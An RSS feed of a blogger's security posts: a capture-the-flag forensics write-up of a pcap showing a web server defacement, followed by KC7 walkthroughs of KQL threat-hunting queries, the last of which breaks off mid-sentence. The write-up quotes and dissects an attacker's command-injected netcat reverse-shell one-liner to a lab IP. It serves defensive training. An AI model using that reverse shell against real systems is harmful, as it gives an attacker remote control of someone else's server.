<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by kellamity on Medium]]></title>
        <description><![CDATA[Stories by kellamity on Medium]]></description>
        <link>https://medium.com/@kellamity?source=rss-5e167308fbb8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rZkzYp6SGVxPQB68EuddCA.jpeg</url>
            <title>Stories by kellamity on Medium</title>
            <link>https://medium.com/@kellamity?source=rss-5e167308fbb8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 14:51:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kellamity/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Cyber Range — Dauntless Defacement]]></title>
            <link>https://kellamity.medium.com/cyber-range-dauntless-defacement-e62204871856?source=rss-5e167308fbb8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e62204871856</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[kellamity]]></dc:creator>
            <pubDate>Sun, 01 Sep 2024 13:44:14 GMT</pubDate>
            <atom:updated>2024-09-01T13:44:14.873Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cyber Range — Dauntless Defacement</h3><p>The Cyber Range is part of the training ressources offered by BHIS/Antisyphon. If anything, I highly recommend their weekly webcast and frequent live training (<a href="https://events.zoom.us/eo/AqZceUFfoY13HGSXujLymbABWGRslgy_uYu4TrJHbsmiQm-uPw9R~AggLXsr32QYFjq8BlYLZ5I06Dg">here’s a handy source</a> to find all of those). They also foster a very friendly community on Discord.</p><p>Their Cyber Range is hosted on MetaCTF and offers CTF style challenges. Regardless of the category (Forensics, Web Exploitation, Reverse Engineering, etc), you are provided with a little blurb, and ressources when needed (files or websites to inspect or attack). I will not be able to go through most of their problems on this blog, because they ask no write-ups be published unless the challenges are retired.</p><p>Which is the case of Dauntless Defacement, an easy forensics challenge. Here is the blurb:</p><blockquote>One of DNScorp’s staging HTTP servers has been breached! Attackers calling themselves ‘l337_h4xor!’ have defaced the DNS lookup webpage! Fortunately, DNScorp has very good logging capabilities and has captured the attacker’s activity in a packet capture. Can you figure out what else the attackers did on the system?</blockquote><p>We are provided with a pcap file. To Wireshark we go 🦈</p><p>The keyword in the blurb was HTTP, so let’s start with filtering on that protocol. The pcap isn’t too long, so a quick glance reveals a few information:<br>* 192.168.1.198 is the IP address of the server;<br>* 192.168.1.196 and 192.168.1.197 communicate with the server;<br>* 192.168.1.196 initiates most POST requests;</p><p>Towards the end of the HTTP packets, we find proof of the defacement (packet 1579):</p><figure><img alt="Screenshot of the html visible in Wireshark. The defacement says “This site has been taken down by l337_h4xor! Your site is bad and you should feel bad!”" src="https://cdn-images-1.medium.com/max/430/1*406i6POzkTZHy3V9ctIy-w.png" /></figure><p>Let’s go back to the earlier POST requests made by 192.168.1.196. At first they look innocent enough, just IP addresses for the DNS server to look up. But then we notice that the requests include commands. For example, on packet 100, the attacker adds the “id” command; the answer comes on packet 106, with uid, gid and groups at 33(www-data). A couple other reconnaissance commands are used in the following POST packets, among them localhost and which nc. So the attackers managed to perform command injection on the server.</p><p>The most critical command is seen in packet 372:</p><figure><img alt="Screenshot of the command as seen in Wireshark: “8.8.8.8; rm /tmp/f;mkfifo /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc 192.168.1.197 1337 &gt;/tmp/f”" src="https://cdn-images-1.medium.com/max/822/1*Ijdz95AWBj2XKEWkwvb5hA.png" /><figcaption>A very long and very suspicious command indeed.</figcaption></figure><p>Let’s break down the command:<br>* rm /tmp/f = deletes the file /tmp/f;<br>* mkfifo /tmp/f = recreates (the mk part) the file /tmp/f as a named pipe (the fifo part);<br>* cat /tmp/f = prints the content of the /tmp/f. Right now it’s empty, but because it’s been made into a pipe, the rest of the command will feed into it in a loop;<br>* |/bin/sh -i 2&gt;&amp;1 = the output of cat is fed into the shell (/bin/sh), the -i flag makes sure the shell is interactive and can accept further commands from cat, the 2&gt;&amp;1 just means errors will not be printed there.<br>* |nc 192.168.1.197 1337 &gt;/tmp/f = the shell feeds its output to the netcat (nc) connection made to the attackers controlled IP address on the specified port, and netcat then sends back its output to the named pipe.</p><p>Sounds messy? Just picture a circle. You have /tmp/f on one point, /bin/sh on another, and /nc on the last. Netcat will send a command that will be written to /tmp/f, cat will read that command and forward it to the shell, who will then execute it and send the result back to netcat. As many times as the attackers need it.</p><p>Alright, now that we know 192.168.1.197 was brought into the picture, let’s look at what HTTP requests happened between it and the server.<br>On packet 1182, we see the server making a GET request to the attackers IP. It wants to download a zip file, and it does since we get an OK in packet 1188.</p><figure><img alt="Screenshot of the two packets we just talked about. The archive is called hack.zip." src="https://cdn-images-1.medium.com/max/819/1*lACddJmSUjh5E8m18O5qdA.png" /></figure><p>When looking at the OK packet, we can see that the archive contains two files: index.html and secret.txt. Index.html is probably the file that will be used for the defacement. Secret.txt probably contains the flag we are looking for.</p><p>The neat thing with Wiresharp is that we should be able to get that archive ourselves. So we’ll extract the zip file from the HTTP stream and save it on our machine for inspection. Bummer, it is password protected. Let’s find that password, shall we?</p><p>We need to focus on the conversation between the server and the netcat IP, since we know commands are very likely to be issued from there. Shortly after the command injection involving netcat, there is a long TCP conversation that we need to follow.<br>In that conversation, we see they were using python, created a staging folder at /var/www/staging, did some recon on local tools available (python, terminal, curl, wget), checked the content of the /tmp folder as well as their own staged folder. We see the download of the zip file and its extraction. And then in packet 1304, the password we were looking for.</p><figure><img alt="Screenshot of a portion of the TCP stream, including the password." src="https://cdn-images-1.medium.com/max/602/1*f-YCV1p4LRkVSUqPd195lA.png" /></figure><p>After that, the attackers removed the secret.txt file and the dns-lookup.php file (the original landing page for the server). They renamed index.html to dns-lookup.php so that nobody would notice, and finally removed the zip file. Job done.</p><p>Anyway, we have the password, let’s unzip the archive we saved on our machine. And there it is, secret.txt does contain the flag. Problem solved!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e62204871856" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KC7 — Dai Wok Foods walkthrough]]></title>
            <link>https://kellamity.medium.com/kc7-dai-wok-foods-walkthrough-12de94ce7900?source=rss-5e167308fbb8------2</link>
            <guid isPermaLink="false">https://medium.com/p/12de94ce7900</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[kc7]]></category>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[soc]]></category>
            <dc:creator><![CDATA[kellamity]]></dc:creator>
            <pubDate>Thu, 30 May 2024 21:35:52 GMT</pubDate>
            <atom:updated>2024-05-30T21:35:52.464Z</atom:updated>
            <content:encoded><![CDATA[<h3>KC7 — Dai Wok Foods walkthrough</h3><p>Welcome back for another KC7 walkthrough. As I mentioned last time, we are tackling a harder challenge this time around. Now, since my last walkthrough, KC7 has changed they UI a bit, and the modules are not rated with spices anymore *sad face*. Anyway, we’re entering the “challenging” category, now symbolised with a flame. Here is the <a href="https://kc7cyber.com/challenges/49">link</a> to the module.</p><p>Note: I will only go through Sections 2 &amp; 3. As usual, section 1 is just a primer on KQL. Section 4 has jeopardy style questions.<br>Alright, let’s dig in.</p><h3>Section 2: Tummy Trouble, make it Double</h3><h4>Q1 — Welcome to Dai Wok Foods! You have your first task. The company’s been having some issues with their systems lately. They said it all started sometime early April after they had to deal with a big food poisoning case they kept getting emails about. They think it all started when an employee, Delphia Evans, first got a food poisoning related email. Let’s help investigate! First, let’s get some more info.</h4><h4><strong>What’s Delphia’s username? Hint: use the Employees table.</strong></h4><p>We are starting off very easy. As directed by the hint, start your query with Employees. There are a few ways to go about it now, when you’re searching for something that straightforward:</p><pre>| where name == &#39;Delphia Evans&#39; //the way we&#39;ve been taught in the primer<br>OR<br>| find &#39;Delphia Evans&#39; //this was the fastest for me when I tested all three<br>OR<br>| search &#39;Delphia Evans&#39;</pre><p>All three options will return the whole row for that name. You can then distinct on the username column to get only the answer to the question. I like to view the full row so I can take note of other informations (like IP address, mail address, hostname) that I might need later on.</p><h4>Q2 — What’s the company domain?</h4><p>This is a perfect example of what I just said. If you have the full row view from Q1, you can just look at the company_domain column to get the answer. Or you can modify your query to switch username for company_domain in your distinct statement.</p><h4>Q3 — What’s the hostname of Delphia’s computer? + Q4 — What is Delphia’s Role at Dai Wok Foods?</h4><p>Same here.</p><h4>Q5 — Let’s take a look at the SecurityAlerts table for anything related to Delphia’s username or host machine. When was the first alert related to Delphia? Right click and copy the information in the timestamp field. Hint: you can do separate queries or use the “OR” operator.</h4><p>Let’s switch to SecurityAlerts. You will want to look for the username or hostname in the description field.</p><h4>Q6 — What’s the full subject line that was listed on this alert? Provide the subject line without the quotes.</h4><p>We could just copy-paste the relevant bit from the description field. <br>Or we could try learning a new KQL tool: the <em>parse</em> operator. As its name implies, this operator allows you to parse a long field, letting you decide what to keep and how to keep it. Since we have only one entry to parse here, and simple at that, it’s perfect to try it out for the first time. Here’s what I came up with, simplified to the max while still working:</p><pre>| parse description with &#39;subject &quot;&#39; subjectLine &#39;&quot;&#39;</pre><p>What it does is look at the description field, finds where it starts with ‘subject “ ‘ and ends with ‘ “ ‘, and creates a new column called subjectLine with whatever was in-between. Note that you have to encase the string between single quotes for the double quotes to be considered part of the string, otherwise it does not work.<br>If we had multiple entries in that format, we could then distinct, count etc on the subjectLine column just created.</p><h4>Q7 — Let’s go back and check for more of Delphia’s information now. What IP address is assigned to her computer? + Q8 — What is Delphia’s email address?</h4><p>If you’ve taken my advice from Q1, you’ve jotted down those pieces of info somewhere. Otherwise go back to the Employees table to get it.</p><h4>Q9 — Let’s investigate her emails using the Email table. How many emails did she receive?</h4><p>With your query, go to the Email table, and look for all instances of her email address in the recipient field. You will find the total either by looking above the entries on the right (a little 123 symbol followed by x records) or you can add | count to your query.</p><h4>Q10 — How many external emails did Delphia receive?</h4><p>Taking a quick look at the records, you’ll notice that all the emails coming from outside the company have a subject starting with [EXTERNAL]. You can filter with this info:</p><pre>| where subject has &#39;[EXTERNAL]&#39; //would work regardless of the position of the string<br>OR<br>| where subject startswith &#39;[EXTERNAL]&#39; //only works if it&#39;s at the beginning<br>//in this instance, both will work, but it&#39;s important to know the difference</pre><h4>Q11 — Let’s look for the specific email with the subject that was found on Q6 that was sent to Delphia. When was the email sent to her?</h4><p>Modify the previous query to only get an exact match (==) on the subject from Q6. Copy-paste the timestamp.</p><h4>Q12 — Who sent the email?</h4><p>Using the same query as Q11, in the sender field.</p><h4>Q13 — How many emails did this email address send to Dai Wok Employees?</h4><p>Use the answer from Q12 to craft a new query filtering on the sender field.</p><h4>Q14 — This is odd. There seems to be a different email addresses in the reply to_email. Let’s take the unique reply_to email addresses and find more sender addresses from those. How many emails are there?</h4><p>First, let’s distinct the reply_to field and save the result in a let statement. You should have three different addresses.<br>Then let me reformulate what the question actually wants because I found it a bit tricky: we want our next query to return all the emails for which the reply_to field (and only that field) contains any of those three addresses we just saved. With that you should be good to go.</p><h4>Q15 — How many unique sender addresses did you find?</h4><p>Distinct the sender field. The result does include the three addresses we already found.</p><h4>Q16 — (OPTIONAL QUESTION) — How many total emails were sent by this threat actor? Hint: You will need to find all of the threat actor’s sender and reply_to email addresses.</h4><p>If you ask me, a question that gives you 300 points is not optional 😜 Plus it’s easy to get the answer. Just save the addresses from Q15 in a new let statement, and then filter with that on sender…</p><h4>Q17 — There&#39;s a lot of domains listed in the link column from Q14. How many unique URLs are there? Hint: you can use the parse_url function: https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/parseurlfunction</h4><p>Let’s strip back our query to what it was on Q14. If you’ve been here before, you already know how to use parse_url. If not, here would be the syntax to get the domain (reminder, a domain is the main part of the url, the one that ends with, for example, .com, .org etc etc):</p><pre>parse_url(https://medium.com/link).Host</pre><p>I suggest you create a new column (using project) in which to put the results from the parse_url() function, that you will then be able to further work on. Also remember the result of parse_url is dynamic, and you will have to bring it back to string to be able to distinct the domains.</p><figure><img alt="Screenshot of the parse_url query: Email | where reply_to in (sus_reply_to) | project domains = parse_url(https://medium.com/link).Host | distinct tostring(domains)" src="https://cdn-images-1.medium.com/max/307/1*TSRR0lzHManrw48f6xtCMQ.png" /><figcaption>It should look like this.</figcaption></figure><h4>Q18 — Let’s check to see if anybody clicked on links from these domains. Search the OutboundNetworkEvents table to see if there’s any hits on the domains found in Q17. What is the domain name (not the full link) of the URL found?</h4><p>Save the result from Q17 in another let statement, then switch to OutboundNetworkEvents. Your query should look for any url that has one of the saved domains. Only one entry will be returned, you can use parse_url() again to get the offending domain.</p><h4>Q19 — Who clicked on the link? Provide the full name.</h4><p>Two solutions for this one, the easy way, or the way we learn new stuff.<br>The easy way: take note of the src_ip and go look for it in the Employees table with a new query.<br>Learning new stuff: we will do something similar to a join, using the <em>lookup</em> operator. Usually, when doing any type of join, the easiest way is to find a column to act as a ‘key’, that is to say that has the same name in both table. We could rename the src_ip column with <em>project-rename</em>. But we can skip that step and directly specify in the query what columns are supposed to match, the $left being the table you are in (here Inbound) and the $right being the table you are looking into (here Employees). As long as the content of the columns are of the same type, it will work. Similarly to a join, the lookup appends the content of Employees (all the columns but the one used as the key) to the result, and you are then free to navigate to or distinct on the name column.</p><figure><img alt="Screenshot of the query. The important part: | lookup Employees on $left.src_ip == $right.ip_addr" src="https://cdn-images-1.medium.com/max/404/1*QG3sJnfeYlvOci7nIDQ6jw.png" /><figcaption>Here is the lookup syntax for the query.</figcaption></figure><h4>Q20 — What is their role in the company? + Q21 — What is their hostname?</h4><p>Regardless of the method you used for Q19, the answers to those two questions come from the same query (just change the column name if you used distinct).</p><h4>Q22 — Let’s take their email address and take a look back at the emails that we’ve seen from the threat actor on Q14. Do we see their email address in here? Yes / No</h4><p>Let’s take note of the email address. Going back to the query from Q14, add a line to look for the email as recipient.</p><h4>Q23 — When did this employee receive the suspicious email? Hint: use the timestamp you found Q18 to have a good starting point.</h4><p>You could use the timestamp. Or you could use the query from Q16 and add the recipient line to it.</p><h4>Q24 — (OPTIONAL QUESTION) — Based on the answer you found on Q16, how many distinct roles were targeted by the threat actor?</h4><p>See, we needed to go back to that query anyway. And we can practice lookup again.<br>Starting with the query from Q16, distinct the recipient. Then do a lookup using $left.recipient == $right.email_addr. Finally distinct on role.</p><h4>Q25 — What’s the reply_to email address of the suspicious email found in Q23?</h4><p>Well. Back to the query from Q23 it is then.</p><h4>Q26 — Using Google or Bing, search for the name of the domain in the email address (do not go to the domain directly). What country is this domain from?</h4><p>Reminder: the domain is the part after the ‘@’. If you played other games from KC7, you might remember the country without looking it up. I recommand just googling ‘yandex’ (one of the top results will be a Wikipedia entry).</p><h4>Q27 — Let’s take the domain name from the suspicious email and search for it in the PassiveDns table. How many records are related to that domain?</h4><p>They’re talking about the domain from the link, not the one we just googled. Parse the link to get only the Host part, then use it in a query in the PassiveDns table.</p><h4>Q28 — What was the IP address that is closest in time to when the suspicious email was sent to the employee?</h4><p>Use the timestamp from Q23 to compare. Also don’t be like me, closest does mean closest, and not necessarily ‘before’.</p><h4>Q29 — Using a GeoIP service such as MaxMind (https://www.maxmind.com/en/geoip-demo) or Censys (https://search.censys.io), let’s look up this IP address. What country does this IP address appear to be located in?</h4><p>I prefer MaxMind.</p><h4>Q30 — Let’s check the InboundNetworkEvents table to see if that IP address had browsed around our Dai Wok Foods website before. How many records did you find related to that IP address? Answer 0 if there are none.</h4><p>Easy query, just check the src_ip field.</p><h4>Q31 — What was the earliest thing the IP address searched for? Replace %20 with a space.</h4><p>First, let’s parse the url to get only the query parameters. The %20 is used in URL encoding, and guess what, KQL has a function to decode it: <em>url_decode()</em>. So we will use that, like this:</p><pre>| extend query = parse_https://medium.com/url(url)[&#39;Query Parameters&#39;][&quot;query&quot;]<br>| extend query = url_decode(tostring(query))<br>//OR if you&#39;re not scared of super nested one-liners (less readable)<br>| extend query = url_decode(tostring(parse_https://medium.com/url(url)[&#39;Query Parameters&#39;][&quot;query&quot;]))</pre><p>This will give you the search terms with a space.</p><h4>Q32 — There were more IP addresses related to the domain from the suspicious email. Let’s take all of them and search across the InboundNetworkEvents. How many records total were found? Hint: use the let statement from the game guide.</h4><p>Go back to your query from Q27, distinct the ips and save them in a let statement. Then switch back to Inbound and look for them in the src_ip field.</p><h4>Q33 — When was the earliest timestamp observed in Q32?</h4><p>Just copy-paste the timestamp of the first entry.</p><h4>Q34 — Let’s check the authentication logs for our compromised employee on the AuthenticationEvents log. How many distinct source IP addresses were used by the employee to log in?</h4><p>We’re talking about the employee from Q19. Get the username and go find all the entries under it in Authentication. Then distinct the src_ip.</p><h4>Q35 — One IP looks like a private (local) IP address. What country is the other IP address from?</h4><p>Reminder: the one starting with 192.168 is a private IP address. It’s an internal one, used by the company. If you go check, you’ll notice it is the one assigned to the user in Employees. Anyway, go look up the other one on MaxMind or Censys.</p><h4>Q36 — How many records in AuthenticationEvents are related to that IP address?</h4><p>Just filter src_ip with the IP you just looked up.</p><h4>Q37 — Let’s go back to the suspicious email we first found in Q23. The link field has the domain name we’ve been tracking but also has a reference to a filename at the end of it. What is it?</h4><p>Let’s go back to the query from Q23, again. We can get the filename in two stages. First, we’ll use parse_url() again, but this time with <em>.Path</em>. Then we’ll used <em>parse_path().Filename</em>. Like so:</p><pre>| extend filename = parse_url(https://medium.com/link).Path<br>| extend filename = parse_path(tostring(filename)).Filename<br>//yes you can super nest them if you wish ;)<br>| extend filename = parse_path(tostring(parse_url(https://medium.com/link).Path)).Filename</pre><h4>Q38 — How many emails reference the same filename?</h4><p>Since the filename will always be the last bit of the link, you can search by using | where link endswith ‘answer_to_Q37’. (Obviously replace that last bit with the actual filename)</p><h4>Q39 — Let’s search the FileCreationEvents table for this file. How many host machines have this file?</h4><p>Easy query, look for it in the filename column (or path endswith if you want).</p><h4>Q40 — Where was this file located on the host machine? Copy and paste the full path. + Q41 — When was this file created on the host machine? + Q42 — What’s the SHA256 hash of this file?</h4><p>From the same query as the previous question.</p><h4>Q43 — Let’s use VirusTotal (https://www.virustotal.com/gui/home/search) to search for this SHA256 hash. Were there any results? Yes / No.</h4><p>Pretty straightforward.</p><h4>Q44 — Let’s look at the ProcessEvents table for this host machine. How many records are associated with this compromised host?</h4><p>Hostname is from Q21, but you can also just grab it from the hostname field from the Q39 result. Another easy query.</p><h4>Q45 — Let’s filter by the first time we saw the suspicious file created on Q41. what’s the name of the file from the process_commandline that occurs immediately after the file was created?</h4><p>Starting with your query from Q44, add a filter on the timestamp field. You want to look at events that happened after the timestamp from Q41, so use the comparison operator &gt;= and reformat the Q41 timestamp with <em>datetime()</em>. The first entry is the one that interests us. To display only that one, you can either do | take 1, or | top 1 by timestamp asc. The content of process_commandline is a mouthful, but you could just copy-paste the very end of it.<br>But we’re here to learn and practice, so let’s try another parse on all that.</p><pre>| parse process_commandline with * &#39;-f &#39; filepath<br>//I&#39;ll be honest, I have no idea why I need the * wildcard, but it would not work without.<br>| project filename = parse_path(filepath).Filename</pre><h4>Q46 — What’s the parent_process_hash from Q45?</h4><p>If you haven’t used the parse method, just copy-paste the content of the field. If you have, scrap the parse lines and rerun the query.</p><h4>Q47 — Using VirusTotal, search the parent_process_hash from Q46. What is the popular threat label for this hash?</h4><p>The answer is just under the Detection tab.</p><h4>Q48 — What threat actor is this file associated with?</h4><p>Still on the VT website, navigate to the Community tab.</p><h4>Q49 — What is the md5 hash of this file?</h4><p>Navigate to the Details tab, it’s the first line in the Basic properties.</p><h4>Q50 — The indicator is referenced in a threat report by a well known cybersecurity company. What type of operations did the company mention this threat actor shifted to doing?</h4><p>Go back to the Community tab. In the comments, there is a report by Mandiant mentioned. Opened the link provided and do a bit of reading.</p><h3>Section 3: Chaos</h3><h4>Q1 — A law enforcement agency warned Dai Wok Foods that they may been targeted by a threat actor. This coincides with a lot of computers at different restaurants sites being locked out recently. The agency said the threat actor may have sent the malware with the file name “Local_County_Updates.xlsx&quot;. When was the first time this file was seen?</h4><p>My reflex (and maybe yours too) would be to look into FileCreationEvents, but that’s not usually where we see the file for the first time, is it? Go to Email, and look for it in the links.</p><h4>Q2 — Who was the email sender? + Q3 — Who was the reply_to email address?</h4><p>The answers can be found in the result from the previous query.</p><h4>Q4 — Oh no! Looks like one of our partners may have been affected. Let’s investigate our employees and see if they have may clicked on the link. When did the first employee click on the link?</h4><p>You can go to OutboundNetworkEvents and look for the filename in url.</p><h4>Q5 — What’s the role of the employee who clicked on the link?</h4><p>Let’s do a lookup on the ip like we learned how to do earlier. You can distinct on the role if you want, all impacted employees have the same one.</p><h4>Q6 — (ADVANCED) Investigate all of the domains and emails associated with the threat actor. When is the first time this threat actor sent an email to Dai Wok Foods?</h4><p>We’ll have to work that one in steps. First, save the distinct sender and reply_to from Q2 and 3 in a let statement. Then look for all the emails that have one of those in either the sender or reply_to field. Do a parse_url().Host on the link, and save the domains in another let statement. Finally, look for all links containing any of those domains. You should get a total of 8 emails.<br>NB: you could also iterate a couple times on sender/reply_to to find all the relevant email addresses (there are 6 of them).</p><h4>Q7 — (ADVANCED) How many unique domains are associated with this threat actor?</h4><p>You should have found the answer in Q6 if you followed those steps. (No need to overshoot and go into PassiveDNS, it is just the domains found in the emails for this question).</p><h4>Q8 — (ADVANCED) How many malware files placed by the threat actor are still present across all of the Dai Wok host machines?</h4><p>The first time I worked on this question, it was a mess, because I double and triple checked that everything I found was malicious by looking at what they might be doing in ProcessEvents. Dear readers, you do not have to leave the safety of FileCreationEvents for this question. Anyway. I will give you a method, it might not be super elegant, there might be a better way to do it, but it works.<br>First get all the filenames from the links of those 8 emails we found in Q6 and save them in a let statement (use the parse_url and parse_path combo I mentioned earlier). Go to FileCreationEvents, look for those files. Save the infected hostnames in another let statement. Now the stage is set for a nice little trick involving <em>serialize</em> and <em>next()</em>. What we are going to do with those is look at which files appear after the ones we are interested in. Still in FileCreationEvents, filter on the infected hostnames, because we only want their files. Invoke serialize, without which next() cannot work. Then create a new column that will be populated by the ‘next’ files. Filter on the filenames we found in the emails (and filter them out of the new column). Save the filenames from that new column in a final let statement. And write a new query looking for the filenames from the emails and those new ones to get the answer to this question. Phew.</p><figure><img alt="Screenshot of the query. The important part: | serialize | extend newfile = next(filename)" src="https://cdn-images-1.medium.com/max/429/1*sAaSBrZevnhpSsEAq0AiXg.png" /><figcaption>Here’s the query so you can visualise better what I just explained.</figcaption></figure><h4>Q9 — (ADVANCED) Which threat actor is this publicly reported as?</h4><p>You’ll have to do some online research around the filenames you found (the spawned ones, not the email ones). Note that the answer field accepts any of the two main names for the related malware.</p><h4>Q10 — (ADVANCED) What is the MITRE ID for the technique used by the threat actor to execute malware payloads?</h4><p>Also require a bit of research, but if you read any reports/articles on the malware names found in Q9, it should put you on the right track (I’ll give you a keyword anyway just in case: DLL).</p><h4>Q11 — (ADVANCED) What is the SHA256 hash of the file used for the technique found in Q10?</h4><p>Again, if you found a good report/article, it should help. I won’t link to the one I found, it would make it too easy for you. Note the SHA256 is the one from KC7, not the one you might find in the reports (but it does have the same filename).</p><h4>Q12 — (ADVANCED) What legitimate process is being used by the threat actor from what you found for Q10?</h4><p>That’s where it might be useful to finally take the spawned filenames and look for them in ProcessEvents. See what they do, what they use. I had noticed the answer in my original messy work for Q8 and it was confirmed by the report I was reading.</p><h4>Q13 — (ADVANCED) What file was used by the threat actor for Q10 but is no longer found on any of the host machines?</h4><p>Same for this one. Pay attention to what’s going on in process_commandline.</p><h4>Q14 — What type of attack is this? What will likely happen soon?</h4><p>It’s the type of malware.</p><h4>Q15 — (ADVANCED) What command line argument did they use to delete things on a host machine?</h4><p>Having read a report helps, or just knowing the type of malware. Worst case, use ‘delete’ as a keywork in your query.</p><p>And that’s us done for this module! <br>I hope you enjoyed it. I liked revisiting it and finding new ways to craft my queries, it keeps me learning :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12de94ce7900" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KC7 — EnvolveLabs walkthrough]]></title>
            <link>https://kellamity.medium.com/kc7-envolvelabs-walkthrough-9a792c9fb5f7?source=rss-5e167308fbb8------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a792c9fb5f7</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[kc7]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[kellamity]]></dc:creator>
            <pubDate>Sun, 31 Mar 2024 20:34:16 GMT</pubDate>
            <atom:updated>2024-03-31T20:34:16.861Z</atom:updated>
            <content:encoded><![CDATA[<h3>KC7 — EnvolveLabs walkthrough</h3><p>Hello and welcome back for another kc7cyber walkthrough. This time around, we’ll tackle the first EnvolveLabs game, which you can find <a href="https://kc7cyber.com/challenges/29">here</a>. Once again, I will not go through the first section, as it is a primer on KQL and it is best you do that on your own.<br>NB: there are TWO clusters dedicated to this room. To answer S1 questions, use the Analysis one; to answer S2 and S3, use the ThreatIntel one.</p><h3>Section 2 — Clustering &amp; Attribution</h3><p><strong>Q1 — Which user has the file named “ResearchBibliographyGenerator.zip” on their machine?<br></strong>The easy way to do this is to get the hostname from the FileCreationEvents table, and then use the hostname in the Employees table to get the full name of the user. But I need to learn to do less easy stuff, and so do you, so for this walkthrough, I replayed the game and taught myself to use the dreaded join. Thankfully for us, there is only one user that has that filename on their machine, so not much can go wrong.<br>Here is what to do: go to the FileCreationEvents table, and look for the filename. As I said, we only get one hit. Now, do an inner join with the Employees table on hostname. What this means is that the join will use the hostname as a ‘key’ to find the relevant entry in the Employees table, and append all of it after the content of the FileCreationEvents table. Then you can just do distinct name to only get the full name of the user. You can then either scroll to the name column to get the answer, or add a | distinct name to your query.</p><figure><img alt="Screenshot of the query. The full join statement is as follow: join kind=inner Employees on hostname. On the result field, I point the end of the FileCreationEvents table and the start of the Employees table just next to it." src="https://cdn-images-1.medium.com/max/865/1*zQjgfgIA_sBz71DUut-DPw.png" /><figcaption>Here you can see how the two tables are joined.</figcaption></figure><p><strong>Q2 — When did the user from question 1 download “ResearchBibliographyGenerator.zip”? (paste the exact timestamp)<br></strong>If you used the two steps version in Q1, you will need to go back to the FileCreationEvents table to get the timestamp. If you did the join method, you do not need to do any extra step. Using the query from Q1, either scroll back to the first timestamp field (the one that belongs to FileCreationEvents) or do a | distinct timestamp. <br>(Note that there is an aditional timestamp column now, called timestamp1; it belongs to the Employees table, it is not relevant here.)</p><p><strong>Q3 — What domain did the user download the file from?</strong><br>We need to switch to the OutboundBrowsing table for this one. Since only one user had the file on their machine, it is reasonable to assume they are the only one to have browsed to an url containing that filename. So filter with the filename on the url column, using the ‘has’ operator. There is indeed only one result.<br>To get only the domain from that url, let’s use the parse_url() function. It should look like this:</p><pre>| extend domain = parse_https://medium.com/url(url).Host</pre><p>I’ll explain the query quickly: extend means we’re adding a column named domain to our result; The url between brackets is the name of the column to be parsed (for example, if we were in the Email table, we would have to use link instead); .Host is an option added to the function to tell it to only return the domain part of the url.</p><p><strong>Q3a — What was the subject of the email in (3)?<br>Q3b — Who was the email in (3) sent by?<br></strong>“But we haven’t worked on email yet!” Yes, you are right. We haven’t. I’m assuming the answer to Q3 could have been found by looking at the Email table right away, since only one user is involved and it is pretty obvious he must have clicked on the link to download the file. Anyway.<br>We cannot do a join statement here, because the url column in OutboundBrowsing, which would be the key, does not exist in Email. The content does though, which mean we can copy-paste the full url to use as a filter on the link column (using ==). Or we can just look for a link containing the filename, as, once again, that user is the only one to have received it. The answers to 3a and 3b are in the ‘subject’ and ‘sender’ columns.</p><p><strong>Q3c — What other domains were delivered via links in emails with the same subjects as the email in (3)?</strong><br>Stay in the Email table. Look for any emails whose subject == the answer to 3a. Unfortunately, we cannot use the parse_url() here, because the other link is not formatted in a way the function recognise, and thus does not return anything for that link. But it is the first segment of the link we need for the answer.</p><p><strong>Q3d — What “interview” themed subject was sent by an actor-controlled email address associated with the email in (3)?<br>Q3e — Which “fda” themed email address sent an email with the subject from (3d)?<br></strong>For those ones, we can in fact just look for the word ‘interview’ on the subject column (using the has operator). There are only 4 results (and they all have the same subject, that’s our answer for 3d), and we’ll recognise the address from 3b in the reply_to field in three of those. The answer to 3e is the fourth instance that does not have the email address we already know.</p><p><strong>Q4 — What other “.science” domain is closely associated via Passive DNS to this cluster of activity and the domain used to deliver “ResearchBibliographyGenerator.zip”?</strong><br>So far, we already have two domains, the answers to 3 and 3c. Before we go anywhere, take note of a third domain, the one we see in the emails from 3d (illness[.]med). Save those three domains in a let statement. With it, switch to the PassiveDns table, look for distinct ip addresses linked to those domains, and save them in another let statement. Then do a final query, looking for those IP addresses, but filtering out the known domains, and get the distinct domains left. You should have four of them, only one ends with .science.</p><figure><img alt="Screenshot of the describd query." src="https://cdn-images-1.medium.com/max/680/1*ym8BwALtqSSqowJVxVUdAg.png" /></figure><p><strong>Q5 — Which .dll file was dropped on the victim machine shortly after the user downloaded the zip: ResearchBibliographyGenerator.zip</strong><br>Alright, let’s go back to FileCreationEvent. We need to use the timestamp found in Q2 as a starting point, as well as filter on the user’s hostname (in case you did not keep note of it, it is DLY5-DESKTOP). I like to keep the original timestamp in my results to be sure I haven’t made a mistake, so 